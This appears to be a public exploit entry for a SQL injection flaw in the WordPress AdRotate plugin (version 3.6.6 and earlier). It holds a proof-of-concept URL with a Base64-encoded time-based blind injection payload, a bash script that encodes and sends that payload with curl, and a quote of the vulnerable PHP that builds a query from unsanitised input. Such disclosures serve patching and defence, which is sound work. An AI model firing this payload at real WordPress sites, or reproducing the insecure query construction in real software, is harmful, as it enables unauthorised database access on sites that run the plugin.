28 lines
No EOL
1.1 KiB
Text
28 lines
No EOL
1.1 KiB
Text
# Exploit Title: WordPress AdRotate plugin <= 3.6.6 SQL Injection Vulnerability
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# Date: 2011-11-8
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# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
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# Software Link: http://downloads.wordpress.org/plugin/adrotate.3.6.6.zip
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# Version: 3.6.6 (tested)
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# Note: parameter $_GET["track"] has to be Base64 encoded
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---
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PoC
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---
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http://www.site.com/wp-content/plugins/adrotate/adrotate-out.php?track=MScgQU5EIDE9SUYoMj4xLEJFTkNITUFSSyg1MDAwMDAwLE1ENShDSEFSKDExNSwxMTMsMTA4LDEwOSw5NywxMTIpKSksMCkj
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e.g.
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#!/bin/bash
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payload="1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)#"
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encoded=`echo -n "1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)#" | base64 -w 0`
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curl http://www.site.com/wp-content/plugins/adrotate/adrotate-out.php?track=$encoded
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---------------
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Vulnerable code
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---------------
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if(isset($_GET['track']) OR $_GET['track'] != '') {
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$meta = base64_decode($_GET['track']);
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...
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list($ad, $group, $block) = explode("-", $meta);
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...
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$bannerurl = $wpdb->get_var($wpdb->prepare("SELECT `link` FROM `".$prefix."adrotate` WHERE `id` = '".$ad."' LIMIT 1;")); //wrong (mis)usage of wpdb->prepare() |